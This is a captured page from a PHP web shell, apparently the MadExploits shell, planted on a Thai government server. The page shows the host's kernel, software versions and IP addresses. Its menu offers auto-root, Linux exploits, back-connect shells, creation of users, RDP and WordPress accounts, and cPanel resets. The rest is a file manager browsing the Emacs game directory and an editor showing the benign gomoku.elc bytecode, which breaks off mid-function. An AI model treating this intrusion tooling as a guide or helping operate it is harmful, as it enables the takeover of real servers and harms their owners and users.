Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
play /
[ HOME SHELL ]
Name
Size
Permission
Action
5x5.elc
13.7
KB
-rw-r--r--
animate.elc
3.86
KB
-rw-r--r--
blackbox.elc
11.03
KB
-rw-r--r--
bruce.el
6.03
KB
-rw-r--r--
bubbles.elc
45.33
KB
-rw-r--r--
cookie1.elc
3.47
KB
-rw-r--r--
decipher.elc
23.06
KB
-rw-r--r--
dissociate.elc
2.08
KB
-rw-r--r--
doctor.elc
45.54
KB
-rw-r--r--
dunnet.elc
85.74
KB
-rw-r--r--
fortune.elc
8.4
KB
-rw-r--r--
gamegrid.elc
14.69
KB
-rw-r--r--
gametree.elc
18.55
KB
-rw-r--r--
gomoku.elc
27.57
KB
-rw-r--r--
handwrite.elc
59.95
KB
-rw-r--r--
hanoi.elc
9.95
KB
-rw-r--r--
landmark.elc
37.69
KB
-rw-r--r--
life.elc
7.21
KB
-rw-r--r--
meese.elc
1.1
KB
-rw-r--r--
morse.elc
2.4
KB
-rw-r--r--
mpuz.elc
13.52
KB
-rw-r--r--
pong.elc
10.99
KB
-rw-r--r--
snake.elc
10.59
KB
-rw-r--r--
solitaire.elc
12.81
KB
-rw-r--r--
spook.elc
1.59
KB
-rw-r--r--
studly.elc
1.43
KB
-rw-r--r--
yow.elc
3.25
KB
-rw-r--r--
zone.elc
15.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gomoku.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:58 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/play/gomoku.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`gomoku.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'gomoku nil "Gomoku game between you and Emacs." :prefix "gomoku-" :group 'games) #@134 If non-nil, its value is called on entry to Gomoku mode. One useful value to include is `turn-on-font-lock' to highlight the pieces. (custom-declare-variable 'gomoku-mode-hook 'nil '(#$ . 713) :type 'hook :group 'gomoku) #@28 Name of the Gomoku buffer. (defconst gomoku-buffer-name "*Gomoku*" (#$ . 940)) #@58 *Horizontal spacing between squares on the Gomoku board. (defconst gomoku-square-width 4 (#$ . -1025)) #@56 *Vertical spacing between squares on the Gomoku board. (defconst gomoku-square-height 2 (#$ . -1134)) #@73 *Number of columns between the Gomoku board and the side of the window. (defconst gomoku-x-offset 3 (#$ . -1242)) #@70 *Number of lines between the Gomoku board and the top of the window. (defconst gomoku-y-offset 1 (#$ . -1362)) #@37 Local keymap to use in Gomoku mode. (defvar gomoku-mode-map nil (#$ . 1479)) (byte-code "\204\367 \301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\304#\210\302\324\306#\210\302\325\310#\210\302\326\312#\210\302\327\314#\210\302\330\316#\210\302\331\320#\210\302\332\322#\210\302\333\320#\210\302\334\322#\210\302\335\336#\210\302\337\336#\210\302\340\336#\210\302\341\336#\210\302\342\336#\210\302\343\344#\210\302\345\346#\210\302\347\350#\210\302\351\336#\210\302\352\336#\210\302\353\354#\210\302\355\354#\210\302\356\354#\210\302\357\354#\210\302\360\361#\210\302\362\361#\210\302\363\322#\210\302\364\320#\210\302\365\366#\210\302\367\370#\210\302\371\344#\210\302\372\344#\210\301\207" [gomoku-mode-map make-sparse-keymap define-key "y" gomoku-move-nw "u" gomoku-move-ne "b" gomoku-move-sw "n" gomoku-move-se "h" backward-char "l" forward-char "j" gomoku-move-down "k" gomoku-move-up [kp-7] [kp-9] [kp-1] [kp-3] [kp-4] [kp-6] [kp-2] [kp-8] "" "" "X" gomoku-human-plays "x" " " " " "" "" gomoku-human-takes-back "" gomoku-human-resigns "" gomoku-emacs-plays [kp-enter] [insert] [down-mouse-1] gomoku-click [drag-mouse-1] [mouse-1] [down-mouse-2] [mouse-2] gomoku-mouse-play [drag-mouse-2] [remap previous-line] [remap next-line] [remap beginning-of-line] gomoku-beginning-of-line [remap end-of-line] gomoku-end-of-line [remap undo] [remap advertised-undo]] 4) #@58 For making font-lock use the winner's face for the line. (defvar gomoku-emacs-won nil (#$ . 3003)) (byte-code "\300\301\302\303\304\305%\210\300\306\307\310\304\305%\207" [custom-declare-face gomoku-O ((((class color)) (:foreground "red" :weight bold))) "Face to use for Emacs' O." :group gomoku gomoku-X ((((class color)) (:foreground "green" :weight bold))) "Face to use for your X."] 6) #@30 *Font lock rules for Gomoku. (defvar gomoku-font-lock-keywords '(("O" quote gomoku-O) ("X" quote gomoku-X) ("[-|/\\]" 0 (if gomoku-emacs-won 'gomoku-O 'gomoku-X))) (#$ . -3399)) (byte-code "\300\301\302\300\301\303\304##\210\300\301\305\306#\210\300\301\307\310#\207" [put gomoku-mode front-sticky rear-nonsticky (intangible) intangible 1 mode-class special] 7) #@460 Major mode for playing Gomoku against Emacs. You and Emacs play in turn by marking a free square. You mark it with X and Emacs marks it with O. The winner is the first to get five contiguous marks horizontally, vertically or in diagonal. You play by moving the cursor over the square you choose and hitting \[gomoku-human-plays]. Other useful commands: \{gomoku-mode-map} Entry to this mode calls the value of `gomoku-mode-hook' if that value is non-nil. (defalias 'gomoku-mode #[nil "\304 \210\305\306\307 \210\310\n!\210\311\303!\210\312\313\314!\210\315\316!\207" [major-mode mode-name gomoku-mode-map font-lock-defaults kill-all-local-variables gomoku-mode "Gomoku" gomoku-display-statistics use-local-map make-local-variable (gomoku-font-lock-keywords t) toggle-read-only t run-mode-hooks gomoku-mode-hook] 2 (#$ . 3768) nil]) #@40 Number of columns on the Gomoku board. (defvar gomoku-board-width nil (#$ . 4613)) #@38 Number of lines on the Gomoku board. (defvar gomoku-board-height nil (#$ . 4702)) #@56 Vector recording the actual state of the Gomoku board. (defvar gomoku-board nil (#$ . 4790)) #@34 Length of `gomoku-board' vector. (defvar gomoku-vector-length nil (#$ . 4889)) #@47 After how many moves will Emacs offer a draw? (defvar gomoku-draw-limit nil (#$ . 4974)) #@69 Translate X, Y cartesian coords into the corresponding board index. (defalias 'gomoku-xy-to-index #[(x y) "\303 _\n#\207" [y gomoku-board-width x +] 4 (#$ . 5069)]) #@46 Return corresponding x-coord of board INDEX. (defalias 'gomoku-index-to-x #[(index) " T\246\207" [index gomoku-board-width] 2 (#$ . 5242)]) #@46 Return corresponding y-coord of board INDEX. (defalias 'gomoku-index-to-y #[(index) " T\245\207" [index gomoku-board-width] 2 (#$ . 5389)]) #@67 Create the `gomoku-board' vector and fill it with initial values. (defalias 'gomoku-init-board #[nil "\305\306\"\306S\fX\203# \307I\210 \n\307I\210T\nS\202\n *\306\211W\205; \307I\210\310\f\311#\211\202' )\207" [gomoku-vector-length gomoku-board ii i gomoku-board-width make-vector 0 -1 + 1] 5 (#$ . 5536)]) #@56 Vector recording the actual score of the free squares. (defvar gomoku-score-table nil (#$ . 5867)) #@27 Score of an empty qtuple. (defconst nil-score 7 (#$ . 5972)) #@37 Score of a qtuple containing one X. (defconst Xscore 15 (#$ . 6039)) #@39 Score of a qtuple containing two X's. (defconst XXscore 400 (#$ . 6114)) #@41 Score of a qtuple containing three X's. (defconst XXXscore 1800 (#$ . 6193)) #@40 Score of a qtuple containing four X's. (defconst XXXXscore 100000 (#$ . 6276)) #@37 Score of a qtuple containing one O. (defconst Oscore 35 (#$ . 6361)) #@39 Score of a qtuple containing two O's. (defconst OOscore 800 (#$ . 6436)) #@41 Score of a qtuple containing three O's. (defconst OOOscore 15000 (#$ . 6515)) #@40 Score of a qtuple containing four O's. (defconst OOOOscore 800000 (#$ . 6599)) #@52 Vector associating qtuple contents to their score. (defconst gomoku-score-trans-table (byte-code "\306 \n\f\307 \307\211\211\211\211\307\211\211\211\211 \307\211\211\211\211\n\307\211\211\211\211\211&\207" [nil-score Xscore XXscore XXXscore XXXXscore Oscore vector 0 OOscore OOOscore OOOOscore] 32) (#$ . 6684)) #@56 Threshold score beyond which an Emacs move is winning. (defconst gomoku-winning-threshold OOOOscore (#$ . 7009)) #@55 Threshold score beyond which a human move is winning. (defconst gomoku-loosing-threshold XXXXscore (#$ . 7128)) #@66 Compute index of free square with highest score, or nil if none. (defalias 'gomoku-strongest-square #[nil "\306\211\307\310\211\"\307 \"\311\211 \fX\203x HW\204q H\211V\203M \312 H!\203D \310 \n\202q \313I\210\202q \312 H!\204_ \313I\210\202q \312\314 T\211 !!\203q \n T\211\202 .\207" [gomoku-board-width gomoku-board-height score best-square end square 0 gomoku-xy-to-index 1 nil zerop -1 random count score-max gomoku-score-table gomoku-board] 7 (#$ . 7246)]) #@49 Recorded initial value of previous score table. (defvar gomoku-saved-score-table nil (#$ . 7760)) #@41 Recorded value of previous board width. (defvar gomoku-saved-board-width nil (#$ . 7864)) #@42 Recorded value of previous board height. (defvar gomoku-saved-board-height nil (#$ . 7960)) #@64 Create the score table vector and fill it with initial values. (defalias 'gomoku-init-score-table #[nil "\203 \nU\203 \fU\203 \306!\211\207\307\310_\"\311\211\211\211\211\211 T\312\245T\312\245\313^\313^\314\211X\203v \314\211X\203m \315\"\210T\211\202W T\211\202M X\203\241 \314\211X\203\230 \315\"\210T\211\202\202 T\211\202x .\306 ! \211\207" [gomoku-saved-score-table gomoku-board-width gomoku-saved-board-width gomoku-board-height gomoku-saved-board-height gomoku-score-table copy-sequence make-vector 20 nil 2 4 1 gomoku-init-square-score gomoku-vector-length nil-score maxj2 maxi2 maxj maxi j i] 7 (#$ . 8058)]) #@53 Return the number of qtuples containing square I,J. (defalias 'gomoku-nb-qtuples #[(i j) "\306S^\306 Z^\306\nS^\306\nZ^\f\307\310\f\\\311]\312^ \f\\\311]\312^\f ^\f^\\\311]\312^ ^\f\f^\\\311]\312^%,\207" [i gomoku-board-width j gomoku-board-height down up 4 + -12 3 8 right left] 8 (#$ . 8766)]) #@60 Give initial score to square I,J and to its mirror images. (defalias 'gomoku-init-square-score #[(i j) " ZT\nZT\306 \"\f\307H_ \n\310 \" I\210\310\n\" I\210\310 \" I\210\310\n \" I+\207" [gomoku-board-width i gomoku-board-height j gomoku-score-trans-table sc gomoku-nb-qtuples 0 gomoku-xy-to-index jj ii gomoku-score-table] 5 (#$ . 9085)]) #@60 Update score table after SQUARE received a DVAL increment. (defalias 'gomoku-update-score-table #[(square dval) "\306!\307!\310\311 Z]\310\311\nZ]\312\313 \314#^\312\313\n\314#^\315\311\312&\210\315\f\312\311&\210\315\f]^\311\211&\210\315\311\nZ\310] Z]\312 \316Z^\313\n\314#^\317\311&.\207" [square x y imin jmin gomoku-board-width gomoku-index-to-x gomoku-index-to-y -4 1 0 - 4 gomoku-update-score-in-direction 5 -1 imax gomoku-board-height jmax dval] 7 (#$ . 9452)]) #@187 Update scores for all squares in the qtuples starting between the LEFTth square and the RIGHTth after SQUARE, along the DX, DY direction, considering that DVAL has been added on SQUARE. (defalias 'gomoku-update-score-in-direction #[(left right square dx dy dval) " V\206\273 \306\211\211\211\211\211\f \307\" _\\\f _\\\f \310_\\\f\311\fX\203U H\\ \\\211\202= \f X\205\271 HZHZ\312\n!\204\233 \f\211\fX\203\233 \312H!\203\220 H\n\\I\210 \\\211\202t \f \\\313\fH[\fH#\f \\\211\f\202W .\207" [left right delta count square2 square1 nil gomoku-xy-to-index 4 0 zerop + square0 depl dx dy square gomoku-board gomoku-score-trans-table dval gomoku-score-table] 7 (#$ . 9972)]) #@35 Non-nil if a game is in progress. (defvar gomoku-game-in-progress nil (#$ . 10733)) #@66 A record of all moves that have been played during current game. (defvar gomoku-game-history nil (#$ . 10823)) #@49 Number of moves already played in current game. (defvar gomoku-number-of-moves nil (#$ . 10940)) #@58 Number of moves already played by human in current game. (defvar gomoku-number-of-human-moves nil (#$ . 11043)) #@32 Non-nil if Emacs played first. (defvar gomoku-emacs-played-first nil (#$ . 11161)) #@52 Non-nil if Human took back a move during the game. (defvar gomoku-human-took-back nil (#$ . 11250)) #@49 Non-nil if Human refused Emacs offer of a draw. (defvar gomoku-human-refused-draw nil (#$ . 11356)) #@53 Non-nil if Emacs is in the middle of a computation. (defvar gomoku-emacs-is-computing nil (#$ . 11462)) #@43 Initialize a new game on an N by M board. (defalias 'gomoku-start-game #[(n m) "\306\211\n\f\f\307\\\nT_T\310\n\f\311#\312\245\313\211\314\211\313\211\313\315\n\f\"\210\316 \210\317 \210\313\211\207" [gomoku-emacs-is-computing gomoku-game-in-progress n gomoku-board-width m gomoku-board-height t 2 * 7 10 nil 0 gomoku-init-display gomoku-init-score-table gomoku-init-board gomoku-vector-length gomoku-draw-limit gomoku-emacs-won gomoku-game-history gomoku-number-of-moves gomoku-number-of-human-moves gomoku-emacs-played-first gomoku-human-took-back gomoku-human-refused-draw] 5 (#$ . 11572)]) #@47 Go to SQUARE, play VAL and update everything. (defalias 'gomoku-play-move #[(square val &optional dont-update-score) "\306 \307U\203 \nT\202 \310!\203 \306 HBBT\311 \"\210 I\210\204? \312 \"\210 \313I\210\314\211\207" [gomoku-emacs-is-computing val gomoku-number-of-human-moves gomoku-number-of-moves gomoku-emacs-played-first square t 1 zerop gomoku-plot-square gomoku-update-score-table -1 nil gomoku-score-table gomoku-game-history gomoku-board dont-update-score] 3 (#$ . 12195)]) #@44 Take back last move and update everything. (defalias 'gomoku-take-back #[nil "\306 @\211@\fH\211\307U\203 \fS\f A S \310\311\"\210\f\311I\210\312 [\"\210\nAI\210+\313\211\207" [gomoku-emacs-is-computing gomoku-game-history last-move square gomoku-board oldval t 1 gomoku-plot-square 0 gomoku-update-score-table nil gomoku-number-of-human-moves gomoku-number-of-moves gomoku-score-table] 4 (#$ . 12711)]) #@44 Number of games Emacs won in this session. (defvar gomoku-number-of-emacs-wins 0 (#$ . 13139)) #@42 Number of games you won in this session. (defvar gomoku-number-of-human-wins 0 (#$ . 13240)) #@48 Number of games already drawn in this session. (defvar gomoku-number-of-draws 0 (#$ . 13339)) #@41 Terminate the current game with RESULT. (defalias 'gomoku-terminate-game #[(result) "\306\307=\203H T\n\310W\203 \311\202\277 \203 \312\202\277 \f\203$ \313\202\277 \204, \314\202\277 \315$!\203D \315%!\203D \316V\203D \317\202\277 \320\202\277 \321=\203i $T$\322\f\203\\ \323\202e \203d \324\202e \325P\202\277 \326=\203v T\327\202\277 \330=\203\227 %T%\331\f\203\212 \332\202\223 \203\222 \333\202\223 \334P\202\277 \335=\203\270 %T%\336\f\203\253 \332\202\264 \203\263 \337\202\264 \334P\202\277 \340=\205\277 \341!\210\342 \210\343\211&\207" [result gomoku-number-of-emacs-wins gomoku-number-of-moves gomoku-human-refused-draw gomoku-human-took-back gomoku-emacs-played-first message emacs-won 20 "This was a REALLY QUICK win." "I won... Too bad you refused my offer of a draw!" "I won... Taking moves back will not help you!" "I won... Playing first did not help you much!" zerop 1 "I'm becoming tired of winning..." "I won." human-won "OK, you won this one." " I, for one, never take my moves back..." ".. so what?" " Now, let me play first just once." human-resigned "So you resign. That's just one more win for me." nobody-won "This is a draw. " "I, for one, never take my moves back..." "Just chance, I guess." "Now, let me play first just once." draw-agreed "Draw agreed. " "You were lucky." crash-game "Sorry, I have been interrupted and cannot resume that game..." gomoku-display-statistics nil gomoku-number-of-human-wins gomoku-number-of-draws gomoku-game-in-progress] 3 (#$ . 13439)]) #@56 What to do when Emacs detects it has been interrupted. (defalias 'gomoku-crash-game #[nil "\301\302\303!\210\304\305!\210\306 \207" [gomoku-emacs-is-computing nil gomoku-terminate-game crash-game sit-for 4 gomoku-prompt-for-other-game] 2 (#$ . 14980)]) #@702 Start a Gomoku game between you and Emacs. If a game is in progress, this command allow you to resume it. If optional arguments N and M are given, an N by M board is used. If prefix arg is given for N, M is prompted for. You and Emacs play in turn by marking a free square. You mark it with X and Emacs marks it with O. The winner is the first to get five contiguous marks horizontally, vertically or in diagonal. You play by moving the cursor over the square you choose and hitting \<gomoku-mode-map>\[gomoku-human-plays]. This program actually plays a simplified or archaic version of the Gomoku game, and ought to be upgraded to use the full modern rules. Use \[describe-mode] for more info. (defalias 'gomoku #[(&optional n m) "\306!\203 \307!\210\202, \203% \310\311\312!\210\313\314!\210\315\316!\204% \317\320!\210\307!\210\321 \210\n\2033 \322 \207 \203= \323X\203\260 \324 \325 $\204K $%\204S \f%$\326W\203a \317\327!\210\202| %\326W\203o \317\330!\210\202| $ V\203| \317\331$\"\210%\fV\203\230 %&=\204\230 \315\332\333%\"!\204\230 \f%*\334\335!\210\336$%\"\210\315\337!\203\255 \340 \207\341 \207\315\342!\203\271 \341 \207\343 \207" [gomoku-buffer-name gomoku-game-in-progress gomoku-emacs-is-computing gomoku-number-of-moves max-height max-width get-buffer switch-to-buffer nil gomoku-terminate-game crash-game sit-for 4 y-or-n-p "Another game? " error "Chicken!" gomoku-mode gomoku-crash-game 2 gomoku-max-width gomoku-max-height 1 "I need at least 1 column" "I need at least 1 row" "I cannot display %d columns in that window" format "Do you really want %d rows? " message "One moment, please..." gomoku-start-game "Do you allow me to play first? " gomoku-emacs-plays gomoku-prompt-for-move "Shall we continue our game? " gomoku-human-resigns n m gomoku-saved-board-height] 4 (#$ . 15241) (byte-code "\205 \301!\302\303\304!!D\207" [current-prefix-arg prefix-numeric-value eval read-minibuffer "Height: "] 4)]) #@38 Compute Emacs next move and play it. (defalias 'gomoku-emacs-plays #[nil "\306 \210\203\n \307 \207 \204 \310 \207\311\312!\210\313\211\314 \211\204&